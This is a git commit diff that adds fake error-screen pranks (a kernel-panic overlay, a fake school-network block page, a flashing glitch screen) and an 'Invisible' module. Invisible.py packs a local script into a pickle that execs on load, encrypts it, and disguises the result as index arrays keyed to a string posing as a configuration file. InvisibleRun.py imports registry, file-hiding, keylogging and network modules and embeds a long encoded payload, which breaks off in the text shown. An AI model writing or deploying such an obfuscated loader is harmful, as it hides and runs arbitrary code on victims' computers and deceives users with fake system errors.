commit d5159ec11b109d261d4d530ae65c5b5e7480495e Author: TermiNexus Date: Tue Jul 28 03:15:28 2026 +0800 Re-upload history diff --git a/Errors/AppleBoot.py b/Errors/AppleBoot.py new file mode 100644 index 0000000..2e4238a --- /dev/null +++ b/Errors/AppleBoot.py @@ -0,0 +1,79 @@ +from random import randint +from threading import Thread +import tkinter as tk +import time + + + +#异步装饰器 +def asyncs(f): + def wrapper(*args, **kwargs): + thr = Thread(target = f, args = args, kwargs = kwargs) + thr.start() + return wrapper + + +def Start(): + root = tk.Tk() + root.attributes('-transparentcolor','#f0f0f0') + screen_width = root.winfo_screenwidth() + screen_height = root.winfo_screenheight() + root.overrideredirect(True) + root.state("zoomed") + root.attributes('-topmost', True) + root.update() + + def Text(text): + tk.Label(root,text=text,fg="#FFF",bg="#000",font=("Moder DOS 437",15)).pack(anchor="sw") + def FText(): + tk.Label(root,text="",font=("Moder DOS 437",15)).pack(anchor="sw") + Text("Please contact the Voodoo Kernel Dev-Team with a photo of the Information printed below,") + Text("Along With a description of your system configuration and what you were doing at the time that") + Text("the kernel panic occurred. We appologize for the lnconvenience") + FText() + Text('Panic(CPU 0 Caller 0x001AC05E): "Windows Teacher Error"') + Text("Debugger Called: ") + Text("Backtrace (CPU 0),Frame : Return Address (4 potential ponies on stack)") + Text("0x14e1ffce68 : 0x12b08c (0xfffffffff 0xfffffffff 0xfffffffff)") + Text("0x14e1ffce69 : 0x12b07c (0xfffffffff 0xfffffffff 0xfffffffff)") + Text("0x14e1ffce70 : 0x12b05c (0xfffffffff 0xfffffffff 0xfffffffff)") + Text("0x14e1ffce23 : 0x12b0cc (0xfffffffff 0xfffffffff 0xfffffffff)") + Text("0x14e1ffcf35 : 0x12b0fc (0xfffffffff 0xfffffffff 0xfffffffff)") + Text("0x14e1ffcf90 : 0x12b0ac (0xfffffffff 0xfffffffff 0xfffffffff)") + Text("Backtrace terminated-invalid frame pointer 0") + FText() + Text("BSD process name corresponding to current thread: Unknown") + FText() + Text("Windows version:") + Text("Win 32/Run") + FText() + Text("Kernel version:") + Text("Win32 Kernel V3.2.5 / EFI Boot System V7") + inputlabel=tk.Label(root,text=" ",fg="#434343",bg="#434343",font=("Moder DOS 437",15)) + inputlabel.pack(anchor="sw") + + @asyncs + def forget(): + for _ in range(10): + inputlabel.pack_forget() + time.sleep(0.3) + inputlabel.pack(anchor="sw") + time.sleep(0.3) + time.sleep(5) + root.destroy() + forget() + + @asyncs + def bg(): + for _ in range(5): + time.sleep(0.1) + root["bg"]="#f0f0f0" + time.sleep(0.1) + root["bg"]="#000" + time.sleep(0.1) + root["bg"]="#f0f0f0" + bg() + + root.mainloop() +if __name__ == "__main__": + Start() \ No newline at end of file diff --git a/Errors/ERROR_HTML.py b/Errors/ERROR_HTML.py new file mode 100644 index 0000000..9db7e8f --- /dev/null +++ b/Errors/ERROR_HTML.py @@ -0,0 +1,3219 @@ +ERROR=r""" + + + + + + + + 127.0.0.1 + + + + + + + + + +
+
+
+
+

+ 嗯… 无法访问此页面 + +

+

你的网络由你所属的学校局域网决定,您当前的学校策略禁止或限制您访问这个网站。

+ + +
+
+
+
+
+

请尝试:

+
    +
  • 向学校局域网策略管理者寻求帮助
  • +
  • 向该电脑的所有者或管理员寻求帮助
  • +
  • 更改网络或控制域
  • +
+

该网站禁止访问是由你的学校局域网策略管理者决定的,您目前的行动和访问记录均会由运营商提交至管理者,请您服从学校局域网策略

+
+
ERROR_SCHOOL_X_HOST
+

+ null +

+
+
+
+
+ + + + +
+
+ +
+ +
+ +
+
+ 127.0.0.1 已拒绝连接。 +
+
+ + + + + + + + +""" \ No newline at end of file diff --git a/Errors/FlowerScreen.py b/Errors/FlowerScreen.py new file mode 100644 index 0000000..ed73b14 --- /dev/null +++ b/Errors/FlowerScreen.py @@ -0,0 +1,73 @@ +from random import randint +from threading import Thread +import tkinter as tk +import time + + +def Start(): + root = tk.Tk() + root.attributes('-transparentcolor','#f0f0f0') + screen_width = root.winfo_screenwidth() + screen_height = root.winfo_screenheight() + root.overrideredirect(True) + root.state("zoomed") + root.attributes('-topmost', True) + root.update() + + def draw_line(canvas, x1, y1, x2, y2, color): + canvas.create_line(x1, y1, x2, y2, fill=color) + canvas = tk.Canvas(root, width=screen_width, height=screen_height) + canvas.pack() + + root.withdraw() + for y in range(0, randint(300,400)): + color = f"#{randint(0, 0xFFFFFF):06x}" # 随机生成颜色 + draw_line(canvas, y, 1, y, screen_width, color) + for y in range(randint(500,600), 600): + color = f"#{randint(0, 0xFFFFFF):06x}" # 随机生成颜色 + draw_line(canvas, y, 1, y, screen_width, color) + for y in range(800, 1000): + color = f"#{randint(0, 0xFFFFFF):06x}" # 随机生成颜色 + draw_line(canvas, y, 1, y, screen_width, color) + for y in range(1200, 1500): + color = f"#{randint(0, 0xFFFFFF):06x}" # 随机生成颜色 + draw_line(canvas, y, 1, y, screen_width, color) + for y in range(2000, 3000): + color = f"#{randint(0, 0xFFFFFF):06x}" # 随机生成颜色 + draw_line(canvas, y, 1, y, screen_width, color) + for y in range(3500, 4000): + color = f"#{randint(0, 0xFFFFFF):06x}" # 随机生成颜色 + draw_line(canvas, y, 1, y, screen_width, color) + for y in range(4200, 10000): + color = f"#{randint(0, 0xFFFFFF):06x}" # 随机生成颜色 + draw_line(canvas, y, 1, y, screen_width, color) + root.update() + root.withdraw() + root.update() + time.sleep(0.2) + root.deiconify() + root.update() + time.sleep(0.2) + root.withdraw() + root.update() + time.sleep(0.1) + root.deiconify() + root.update() + time.sleep(0.1) + time.sleep(2) + root.withdraw() + root.update() + time.sleep(0.1) + root.deiconify() + root.update() + time.sleep(0.1) + root.withdraw() + root.update() + time.sleep(0.1) + root.deiconify() + root.update() + time.sleep(0.1) + root.withdraw() + root.update() +if __name__ == "__main__": + Start() \ No newline at end of file diff --git a/Invisible/Invisible.py b/Invisible/Invisible.py new file mode 100644 index 0000000..f56cc01 --- /dev/null +++ b/Invisible/Invisible.py @@ -0,0 +1,59 @@ +# pickle dump +import pickle +from cryptography.fernet import Fernet + +class FIO(): + def openw(self, file, write, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "w", encoding=encoding) as f: + f.write(write) + elif mode == 2: + with open(file, "wb") as f: + f.write(write) + def opena(self, file, write, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "a", encoding=encoding) as f: + f.write(write) + elif mode == 2: + with open(file, "ab") as f: + f.write(write) + def openr(self, file, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "r", encoding=encoding) as f: + read = f.read() + elif mode == 2: + with open(file, "rb") as f: + read = f.read() + return read +FIO=FIO() + +shellcode = FIO.openr(r"C:\Users\Lenovo\Desktop\Termination4\Termination4.py") + +#cryptography 加密 +def EncryptTXT(ret): + key = Fernet.generate_key() + f = Fernet(key) + enc_pay = f.encrypt(bytes(bytearray(ret))) + return key, enc_pay.decode() + +def AC(R): + LC = "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967=" + B = [] + for i in R: + A = LC.index(str(i)) + B.append(A) + return B + +#魔法函数 +class A(object): + def __reduce__(self): + return (exec, (shellcode,)) + + +ret = pickle.dumps(A()) +key,miwen = EncryptTXT(ret) +arraykey = AC(str(key)) +arrayindex = AC(miwen) +FIO.openw("./1", str(key)) +FIO.openw("./1.5", str(arraykey)) +FIO.openw("./2", str(arrayindex)) \ No newline at end of file diff --git a/Invisible/InvisibleRun.py b/Invisible/InvisibleRun.py new file mode 100644 index 0000000..b7c5678 --- /dev/null +++ b/Invisible/InvisibleRun.py @@ -0,0 +1,57 @@ +class sys(): + from sys import argv, platform, executable, exit as exit +class os(): + from os import path, getenv, mkdir, getlogin, listdir, _exit, getpid, getppid, remove +class traceback(): + from traceback import format_exc +class ctypes(): + from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError + class wintypes(): + from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY +class winreg(): + from winreg import OpenKey, HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, HKEY_USERS, SetValueEx, REG_SZ, CloseKey, DeleteKey, KEY_SET_VALUE, KEY_ALL_ACCESS,KEY_WRITE,KEY_CREATE_SUB_KEY +class win32api(): + from win32api import SetFileAttributes +class requests(): + from requests import post, get +class subprocess(): + from subprocess import list2cmdline, Popen, PIPE +class time(): + from time import localtime, strftime, sleep +class socket(): + from socket import gethostname +class threading(): + from threading import Thread +class keyboard(): + from keyboard import wait +class hashlib(): + from hashlib import md5 +class uuid(): + from uuid import UUID, uuid1, uuid3, NAMESPACE_DNS +class random(): + from random import randint +class shutil(): + from shutil import copy +class re(): + from re import match +class psutil(): + from psutil import pid_exists, Process +def GUUID():return str(uuid.uuid3(uuid.NAMESPACE_DNS, str(random.randint(0, 10000000000000000000)))) +class socketio(): + from socketio import Client +class atexit(): + from atexit import register +from pickle import loads +from cryptography.fernet import Fernet + +LC = "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967=" + +def J(B): + C = "" + for i in B: + C += LC[i] + return C +I = [15, 70, 70, 70, 70, 70, 71, 12, 0, 86, 19, 90, 82, 12, 10, 10, 1, 114, 89, 75, 27, 107, 103, 78, 96, 101, 113, 90, 87, 112, 99, 104, 102, 114, 103, 88, 114, 26, 101, 109, 84, 95, 10, 68, 81, 75, 92, 10, 72, 27, 8, 104, 16, 11, 112, 80, 105, 97, 88, 11, 99, 12, 98, 91, 29, 1, 10, 16, 69, 110, 109, 101, 64, 99, 102, 92, 83, 19, 75, 111, 79, 113, 83, 77, 19, 89, 2, 101, 8, 79, 99, 83, 91, 95, 106, 94, 70, 77, 11, 26, 113, 77, 102, 85, 103, 94, 10, 17, 107, 70, 91, 36, 13, 3, 73, 19, 0, 85, 87, 106, 94, 1, 12, 2, 105, 87, 27, 12, 64, 16, 89, 15, 99, 78, 11, 83, 70, 13, 13, 89, 98, 27, 2, 80, 78, 85, 103, 103, 26, 105, 88, 103, 94, 17, 93, 100, 69, 105, 36, 109, 76, 77, 81, 90, 91, 96, 112, 72, 102, 96, 89, 98, 73, 89, 36, 87, 101, 11, 107, 76, 80, 113, 12, 29, 29, 29, 96, 27, 71, 82, 107, 80, 2, 84, 17, 91, 110, 83, 110, 114, 0, 16, 89, 104, 95, 79, 98, 85, 103, 13, 99, 92, 79, 27, 15, 77, 73, 3, 69, 100, 1, 93, 19, 0, 69, 68, 94, 113, 12, 81, 8, 92, 87, 106, 103, 36, 72, 105, 102, 26, 100, 108, 88, 85, 75, 26, 93, 103, 10, 94, 110, 114, 96, 77, 64, 83, 10, 92, 19, 68, 82, 82, 75, 107, 88, 88, 77, 17, 71, 2, 84, 80, 72, 110, 8, 96, 97, 83, 104, 11, 93, 75, 89, 64, 84, 102, 78, 87, 19, 29, 105, 82, 72, 112, 79, 93, 92, 113, 2, 80, 111, 16, 113, 3, 29, 89, 84, 29, 11, 84, 77, 85, 73, 94, 91, 72, 15, 29, 19, 99, 3, 90, 98, 114, 103, 76, 27, 76, 85, 82, 92, 76, 102, 100, 27, 78, 17, 91, 102, 107, 80, 27, 114, 3, 12, 15, 112, 78, 19, 19, 2, 72, 17, 93, 83, 83, 1, 17, 13, 78, 19, 81, 105, 1, 106, 12, 15, 11, 88, 26, 88, 76, 10, 27, 94, 100, 89, 97, 113, 100, 77, 68, 87, 72, 108, 112, 97, 70, 27, 71, 81, 79, 84, 15, 68, 103, 93, 92, 99, 19, 101, 110, 104, 26, 104, 17, 106, 104, 72, 76, 104, 84, 96, 8, 95, 79, 106, 113, 103, 114, 75, 83, 72, 29, 75, 94, 99, 103, 98, 103, 76, 114, 26, 101, 102, 17, 1, 97, 16, 3, 107, 102, 13, 106, 13, 72, 15, 106, 8, 68, 15, 109, 26, 106, 12, 27, 79, 93, 104, 29, 81, 19, 27, 95, 83, 113, 99, 13, 83, 0, 88, 88, 26, 88, 15, 10, 10, 72, 19, 111, 113, 102, 13, 70, 104, 79, 11, 8, 112, 91, 76, 100, 91, 84, 8, 13, 77, 69, 110, 97, 95, 94, 17, 100, 108, 29, 29, 107, 2, 79, 12, 102, 15, 111, 113, 87, 95, 76, 73, 89, 76, 94, 110, 91, 85, 105, 81, 76, 15, 100, 73, 84, 107, 69, 91, 75, 11, 88, 110, 79, 87, 92, 64, 97, 3, 17, 109, 104, 112, 90, 99, 68, 82, 75, 85, 84, 73, 90, 98, 77, 70, 114, 87, 64, 97, 79, 36, 113, 85, 105, 90, 36, 71, 64, 106, 15, 111, 29, 73, 79, 109, 108, 10, 105, 90, 103, 3, 2, 89, 114, 75, 71, 64, 16, 99, 3, 16, 94, 100, 102, 89, 17, 26, 73, 70, 102, 100, 72, 88, 29, 110, 11, 111, 92, 12, 97, 110, 82, 96, 29, 16, 0, 13, 72, 109, 72, 10, 98, 70, 89, 81, 17, 27, 104, 36, 70, 85, 97, 97, 82, 98, 8, 94, 92, 36, 108, 108, 73, 15, 36, 69, 13, 97, 1, 27, 36, 104, 8, 99, 26, 96, 1, 92, 71, 12, 11, 112, 13, 19, 64, 69, 77, 87, 102, 114, 0, 19, 93, 85, 103, 82, 97, 89, 98, 102, 26, 17, 13, 99, 99, 99, 105, 107, 111, 12, 86, 26, 98, 102, 93, 96, 95, 108, 83, 102, 79, 2, 13, 70, 107, 92, 83, 69, 12, 109, 10, 76, 27, 64, 26, 79, 71, 26, 78, 113, 64, 112, 91, 10, 27, 114, 96, 79, 103, 94, 16, 79, 69, 80, 72, 111, 13, 111, 100, 8, 113, 2, 110, 73, 92, 86, 99, 3, 114, 0, 10, 73, 89, 87, 87, 69, 13, 12, 3, 73, 88, 2, 104, 105, 108, 10, 113, 82, 98, 2, 19, 17, 75, 3, 72, 88, 110, 16, 19, 36, 112, 99, 107, 26, 73, 87, 91, 11, 15, 114, 1, 109, 110, 69, 8, 101, 91, 108, 87, 103, 89, 10, 93, 108, 109, 90, 15, 1, 84, 19, 94, 81, 107, 89, 2, 93, 82, 92, 106, 71, 85, 0, 15, 93, 98, 72, 1, 64, 96, 96, 103, 26, 97, 90, 73, 64, 108, 15, 99, 95, 68, 73, 94, 84, 95, 98, 90, 98, 98, 11, 19, 89, 112, 88, 68, 13, 84, 103, 17, 88, 100, 16, 13, 108, 86, 91, 89, 108, 68, 100, 112, 92, 12, 101, 17, 69, 94, 76, 95, 78, 98, 19, 77, 92, 98, 26, 113, 36, 12, 27, 73, 79, 101, 75, 12, 97, 101, 77, 102, 73, 73, 64, 72, 78, 27, 85, 80, 13, 19, 88, 17, 2, 86, 114, 83, 113, 64, 1, 64, 114, 88, 78, 93, 102, 0, 97, 95, 3, 80, 3, 109, 101, 17, 3, 10, 85, 11, 90, 26, 80, 0, 73, 109, 93, 11, 112, 8, 26, 91, 85, 106, 107, 19, 83, 70, 79, 12, 36, 104, 90, 107, 93, 84, 68, 8, 109, 95, 97, 86, 111, 86, 11, 105, 76, 97, 102, 105, 107, 17, 113, 96, 19, 0, 79, 94, 105, 108, 12, 106, 98, 78, 16, 88, 10, 19, 68, 95, 114, 81, 85, 93, 103, 17, 103, 3, 3, 27, 68, 103, 86, 85, 69, 81, 71, 11, 79, 81, 107, 29, 76, 109, 93, 82, 105, 96, 27, 97, 88, 96, 88, 84, 15, 76, 26, 82, 103, 29, 78, 103, 68, 80, 26, 98, 15, 97, 112, 69, 0, 16, 80, 36, 78, 86, 94, 111, 13, 19, 106, 82, 73, 15, 86, 99, 2, 97, 105, 103, 91, 88, 85, 92, 95, 91, 103, 71, 68, 85, 16, 0, 110, 77, 36, 102, 0, 11, 92, 69, 78, 72, 101, 93, 111, 11, 86, 107, 78, 104, 27, 8, 101, 68, 16, 70, 99, 3, 26, 94, 106, 71, 102, 92, 108, 75, 80, 12, 87, 36, 80, 107, 102, 79, 10, 107, 85, 93, 76, 101, 70, 114, 110, 100, 82, 114, 98, 82, 103, 10, 114, 99, 72, 99, 75, 82, 11, 102, 107, 16, 113, 106, 92, 29, 86, 77, 78, 2, 106, 89, 83, 3, 83, 0, 100, 86, 100, 75, 105, 73, 77, 106, 1, 95, 76, 88, 68, 72, 110, 36, 113, 19, 76, 26, 105, 85, 11, 97, 64, 15, 105, 109, 26, 36, 70, 113, 75, 97, 75, 79, 73, 98, 19, 76, 100, 64, 110, 68, 81, 19, 26, 86, 0, 2, 73, 27, 64, 111, 15, 106, 15, 70, 94, 3, 104, 29, 90, 1, 114, 104, 90, 84, 2, 75, 98, 91, 106, 27, 108, 26, 1, 83, 103, 114, 110, 80, 69, 69, 97, 82, 3, 108, 27, 0, 110, 114, 114, 109, 89, 100, 68, 107, 1, 81, 99, 112, 98, 102, 93, 91, 101, 85, 76, 107, 3, 13, 70, 0, 108, 19, 11, 88, 8, 96, 89, 93, 64, 80, 104, 105, 100, 77, 8, 1, 77, 13, 103, 93, 100, 16, 105, 13, 26, 29, 85, 91, 112, 87, 64, 77, 112, 85, 104, 102, 16, 101, 70, 110, 96, 68, 104, 19, 68, 86, 82, 72, 78, 109, 8, 93, 64, 88, 12, 92, 75, 77, 95, 112, 29, 87, 95, 71, 105, 27, 26, 70, 26, 13, 107, 91, 70, 64, 76, 73, 1, 15, 3, 76, 89, 36, 89, 27, 75, 15, 73, 111, 2, 79, 112, 93, 70, 98, 109, 8, 92, 83, 101, 10, 87, 85, 80, 84, 64, 97, 82, 99, 1, 85, 94, 111, 73, 111, 78, 101, 11, 0, 90, 114, 2, 92, 10, 73, 68, 86, 16, 106, 75, 83, 101, 27, 17, 104, 78, 93, 98, 72, 80, 64, 82, 36, 0, 82, 113, 75, 88, 16, 83, 36, 11, 16, 1, 69, 64, 76, 27, 106, 111, 91, 76, 17, 29, 73, 12, 64, 36, 0, 97, 71, 85, 27, 112, 82, 77, 11, 96, 86, 26, 95, 82, 80, 104, 91, 8, 113, 86, 8, 100, 101, 104, 71, 102, 112, 68, 110, 111, 19, 27, 11, 107, 86, 111, 19, 69, 101, 110, 36, 15, 75, 90, 88, 88, 92, 82, 93, 102, 104, 111, 70, 110, 92, 36, 83, 17, 12, 81, 71, 96, 88, 26, 98, 79, 71, 101, 110, 88, 102, 109, 29, 102, 89, 105, 113, 110, 3, 98, 86, 29, 88, 26, 27, 103, 16, 87, 99, 95, 80, 10, 72, 83, 93, 8, 105, 111, 82, 108, 64, 64, 76, 114, 76, 71, 94, 114, 105, 16, 86, 88, 98, 3, 85, 91, 19, 113, 107, 27, 70, 107, 91, 12, 113, 15, 10, 103, 87, 83, 85, 111, 72, 110, 113, 77, 90, 73, 76, 104, 1, 83, 27, 29, 97, 92, 90, 108, 69, 17, 80, 103, 78, 114, 81, 13, 104, 1, 106, 2, 83, 64, 88, 95, 73, 36, 97, 96, 81, 84, 16, 97, 15, 15, 105, 99, 112, 0, 96, 83, 88, 70, 15, 17, 15, 73, 97, 101, 106, 75, 80, 17, 3, 78, 73, 84, 19, 85, 93, 12, 64, 76, 16, 15, 103, 101, 104, 113, 70, 107, 87, 100, 108, 87, 78, 101, 8, 96, 78, 97, 91, 88, 8, 112, 89, 106, 105, 103, 98, 3, 2, 101, 93, 105, 95, 13, 112, 92, 83, 75, 2, 26, 13, 29, 90, 1, 100, 97, 11, 75, 36, 64, 75, 87, 2, 111, 90, 98, 107, 1, 3, 27, 107, 83, 88, 86, 12, 10, 113, 29, 79, 96, 109, 87, 93, 81, 16, 94, 1, 113, 96, 73, 81, 98, 15, 19, 16, 94, 97, 12, 112, 16, 13, 77, 82, 97, 79, 101, 105, 83, 78, 114, 89, 103, 73, 87, 98, 64, 108, 108, 70, 13, 78, 85, 8, 96, 19, 88, 109, 96, 79, 0, 11, 10, 91, 29, 81, 2, 104, 83, 102, 79, 73, 82, 94, 90, 16, 87, 29, 76, 68, 102, 86, 107, 82, 93, 72, 86, 2, 90, 111, 91, 112, 2, 81, 79, 88, 76, 69, 11, 99, 101, 85, 102, 110, 64, 36, 77, 26, 16, 76, 75, 36, 1, 112, 113, 89, 77, 84, 105, 107, 73, 16, 110, 100, 64, 102, 99, 11, 108, 84, 80, 81, 79, 82, 2, 87, 112, 109, 2, 17, 71, 91, 79, 29, 36, 64, 103, 2, 27, 88, 10, 10, 80, 70, 64, 112, 13, 27, 69, 11, 29, 108, 93, 85, 93, 107, 113, 92, 108, 75, 100, 97, 105, 76, 69, 88, 64, 91, 107, 77, 91, 73, 68, 97, 105, 106, 99, 29, 64, 94, 19, 11, 89, 0, 102, 111, 110, 77, 16, 89, 75, 98, 98, 76, 16, 16, 86, 93, 82, 11, 12, 11, 110, 78, 96, 69, 36, 109, 19, 90, 77, 17, 106, 29, 102, 88, 113, 19, 69, 8, 69, 10, 83, 83, 11, 86, 11, 102, 81, 16, 15, 69, 90, 83, 110, 69, 0, 73, 101, 108, 85, 83, 89, 64, 8, 8, 11, 98, 81, 87, 109, 71, 78, 93, 19, 93, 19, 78, 8, 80, 109, 102, 75, 110, 69, 112, 111, 73, 93, 82, 91, 11, 104, 94, 71, 112, 36, 108, 110, 16, 109, 94, 73, 16, 106, 10, 26, 98, 64, 93, 70, 72, 16, 114, 10, 3, 26, 10, 17, 12, 71, 13, 110, 110, 78, 113, 98, 108, 96, 108, 111, 64, 72, 103, 75, 83, 68, 82, 91, 68, 8, 64, 114, 106, 101, 106, 108, 91, 1, 3, 106, 16, 101, 2, 72, 10, 0, 95, 101, 77, 111, 8, 110, 93, 72, 104, 107, 96, 93, 96, 16, 94, 81, 114, 68, 111, 19, 78, 26, 92, 69, 95, 27, 87, 27, 27, 72, 2, 1, 72, 98, 85, 113, 108, 112, 99, 91, 84, 108, 100, 90, 98, 1, 10, 29, 78, 111, 79, 92, 3, 90, 82, 79, 83, 86, 87, 27, 0, 85, 113, 81, 84, 101, 79, 3, 27, 36, 85, 95, 109, 19, 73, 90, 26, 69, 89, 29, 98, 103, 69, 101, 113, 113, 111, 95, 101, 86, 77, 80, 70, 1, 3, 79, 112, 85, 97, 10, 98, 107, 82, 78, 105, 77, 75, 110, 86, 11, 12, 91, 3, 17, 89, 104, 93, 82, 83, 114, 108, 82, 101, 79, 72, 96, 94, 36, 90, 70, 98, 19, 84, 1, 100, 91, 73, 17, 10, 95, 8, 72, 98, 11, 8, 103, 17, 64, 72, 36, 112, 1, 12, 19, 10, 91, 94, 73, 13, 64, 80, 11, 80, 36, 112, 75, 112, 91, 86, 108, 90, 29, 99, 12, 113, 99, 108, 19, 82, 102, 100, 85, 85, 84, 100, 80, 102, 79, 109, 106, 89, 73, 112, 83, 84, 0, 11, 29, 88, 69, 109, 93, 102, 85, 81, 110, 102, 84, 70, 114, 104, 90, 68, 3, 68, 113, 0, 69, 100, 91, 93, 109, 68, 19, 111, 105, 1, 10, 98, 17, 3, 80, 90, 114, 91, 109, 84, 86, 3, 90, 89, 93, 98, 11, 19, 10, 113, 0, 76, 87, 78, 1, 104, 99, 97, 91, 95, 80, 80, 100, 86, 86, 8, 8, 95, 112, 90, 111, 11, 73, 76, 84, 94, 29, 108, 12, 98, 88, 112, 83, 94, 100, 80, 88, 85, 76, 103, 2, 83, 112, 87, 77, 102, 113, 79, 110, 27, 78, 101, 82, 114, 113, 75, 86, 36, 106, 88, 113, 11, 8, 91, 1, 93, 79, 91, 15, 72, 36, 81, 73, 75, 76, 106, 85, 91, 84, 8, 93, 88, 95, 103, 76, 26, 100, 8, 99, 0, 108, 90, 64, 1, 100, 111, 76, 36, 26, 98, 113, 105, 2, 94, 106, 103, 93, 85, 13, 104, 114, 75, 106, 27, 72, 100, 108, 1, 13, 16, 107, 69, 86, 114, 108, 82, 93, 64, 71, 29, 64, 82, 1, 108, 15, 107, 86, 103, 19, 78, 107, 70, 104, 81, 102, 1, 88, 110, 110, 93, 108, 88, 86, 77, 83, 15, 110, 100, 98, 94, 75, 88, 15, 97, 109, 106, 80, 83, 82, 97, 15, 106, 90, 13, 110, 98, 3, 89, 114, 78, 68, 82, 3, 11, 77, 11, 13, 0, 19, 79, 104, 2, 73, 76, 71, 82, 114, 95, 101, 89, 27, 19, 13, 104, 105, 10, 80, 94, 27, 73, 100, 112, 109, 101, 81, 86, 2, 113, 93, 80, 79, 8, 27, 19, 77, 26, 85, 94, 2, 8, 0, 104, 84, 29, 101, 99, 12, 73, 90, 97, 73, 68, 16, 91, 8, 83, 8, 82, 19, 84, 78, 36, 10, 96, 11, 90, 19, 114, 88, 99, 83, 3, 15, 92, 8, 19, 108, 81, 94, 102, 96, 19, 90, 75, 64, 102, 100, 91, 110, 106, 114, 86, 106, 94, 10, 82, 8, 15, 76, 88, 88, 69, 17, 94, 19, 98, 110, 102, 70, 114, 92, 2, 83, 79, 84, 76, 19, 70, 95, 101, 73, 105, 19, 86, 92, 92, 101, 93, 78, 73, 110, 79, 10, 92, 114, 0, 11, 79, 26, 10, 70, 75, 85, 100, 113, 11, 97, 88, 76, 86, 91, 95, 10, 76, 83, 96, 80, 100, 70, 85, 29, 108, 87, 73, 19, 84, 86, 89, 92, 105, 88, 75, 110, 10, 105, 113, 3, 93, 16, 12, 15, 107, 72, 77, 19, 36, 88, 93, 110, 98, 102, 105, 105, 103, 84, 69, 75, 27, 102, 29, 85, 84, 108, 81, 97, 98, 114, 108, 12, 16, 80, 91, 36, 99, 113, 10, 103, 76, 84, 112, 19, 86, 70, 8, 29, 105, 105, 106, 94, 90, 79, 71, 68, 29, 3, 80, 106, 105, 80, 109, 2, 0, 79, 71, 94, 8, 102, 10, 11, 29, 95, 110, 112, 105, 78, 105, 102, 85, 36, 79, 27, 103, 19, 98, 82, 86, 81, 81, 84, 94, 64, 99, 104, 13, 12, 95, 2, 92, 10, 78, 72, 88, 97, 94, 64, 75, 112, 10, 110, 13, 12, 88, 11, 88, 71, 112, 108, 93, 26, 111, 26, 88, 96, 12, 81, 78, 94, 108, 93, 12, 8, 92, 98, 17, 16, 15, 2, 19, 103, 94, 69, 99, 68, 112, 102, 100, 93, 114, 100, 110, 108, 90, 102, 92, 77, 81, 114, 76, 19, 16, 100, 110, 69, 19, 27, 29, 12, 69, 29, 69, 110, 87, 64, 27, 106, 69, 69, 111, 111, 70, 99, 27, 105, 102, 108, 72, 2, 0, 113, 11, 100, 81, 107, 93, 78, 85, 103, 79, 111, 80, 15, 100, 108, 92, 10, 94, 68, 86, 107, 68, 82, 73, 79, 103, 64, 114, 19, 17, 104, 17, 19, 88, 11, 2, 78, 113, 73, 19, 84, 10, 19, 88, 77, 104, 8, 104, 26, 95, 68, 10, 89, 108, 73, 114, 85, 114, 17, 78, 69, 0, 80, 68, 75, 87, 105, 2, 99, 91, 90, 104, 112, 26, 69, 101, 76, 90, 81, 77, 86, 77, 69, 101, 70, 26, 94, 88, 19, 17, 87, 3, 0, 100, 111, 95, 109, 78, 102, 1, 114, 26, 36, 106, 109, 111, 36, 96, 95, 99, 113, 94, 110, 114, 81, 36, 92, 83, 69, 114, 103, 81, 90, 82, 71, 79, 84, 69, 109, 12, 103, 3, 1, 97, 109, 84, 68, 73, 98, 76, 88, 73, 70, 95, 16, 99, 17, 107, 0, 16, 26, 101, 76, 64, 13, 84, 85, 113, 10, 0, 80, 3, 80, 114, 106, 76, 107, 85, 82, 12, 68, 8, 27, 90, 12, 87, 98, 26, 72, 64, 103, 112, 26, 17, 8, 15, 36, 85, 70, 91, 75, 72, 91, 83, 19, 86, 86, 84, 100, 2, 94, 83, 36, 27, 106, 79, 113, 8, 88, 112, 80, 81, 2, 113, 1, 101, 84, 110, 107, 109, 85, 10, 95, 17, 1, 16, 102, 1, 86, 92, 71, 0, 88, 8, 70, 96, 70, 10, 103, 113, 2, 79, 16, 26, 0, 80, 109, 88, 111, 80, 68, 85, 77, 0, 70, 81, 97, 112, 10, 95, 0, 72, 98, 105, 75, 3, 82, 97, 90, 92, 89, 104, 93, 88, 99, 106, 80, 90, 113, 68, 71, 100, 70, 110, 106, 64, 111, 81, 0, 13, 100, 97, 8, 80, 112, 70, 3, 11, 73, 86, 88, 36, 27, 97, 101, 99, 103, 0, 96, 78, 77, 108, 81, 95, 105, 29, 106, 88, 94, 103, 82, 82, 29, 8, 72, 71, 68, 10, 81, 88, 12, 71, 19, 83, 26, 102, 68, 27, 91, 101, 68, 26, 11, 102, 112, 17, 3, 76, 19, 27, 111, 90, 111, 10, 83, 111, 102, 29, 91, 105, 10, 114, 80, 75, 97, 83, 15, 78, 102, 36, 77, 3, 101, 8, 99, 11, 80, 70, 99, 94, 111, 36, 72, 19, 87, 95, 73, 100, 108, 112, 102, 17, 104, 114, 12, 91, 85, 98, 79, 92, 95, 73, 102, 79, 83, 19, 70, 68, 112, 103, 103, 110, 113, 104, 109, 98, 104, 83, 111, 106, 100, 95, 103, 19, 96, 64, 109, 70, 112, 1, 27, 68, 90, 93, 71, 93, 93, 94, 64, 12, 16, 76, 106, 75, 72, 0, 0, 88, 105, 103, 114, 112, 108, 109, 73, 92, 73, 17, 99, 81, 69, 75, 100, 106, 26, 103, 97, 110, 80, 75, 105, 19, 90, 84, 68, 89, 8, 100, 17, 108, 108, 15, 95, 0, 36, 13, 101, 85, 79, 83, 97, 64, 104, 110, 78, 19, 75, 112, 90, 102, 16, 101, 90, 111, 8, 105, 113, 16, 95, 107, 78, 70, 76, 99, 36, 83, 112, 36, 77, 73, 83, 96, 0, 26, 29, 80, 96, 104, 73, 80, 86, 84, 64, 1, 12, 111, 99, 77, 2, 111, 100, 90, 101, 80, 72, 114, 91, 107, 114, 64, 79, 17, 102, 103, 110, 114, 77, 114, 26, 97, 98, 89, 8, 29, 73, 111, 29, 0, 2, 84, 107, 71, 114, 81, 78, 29, 107, 83, 1, 105, 114, 111, 106, 85, 103, 108, 95, 68, 101, 2, 104, 82, 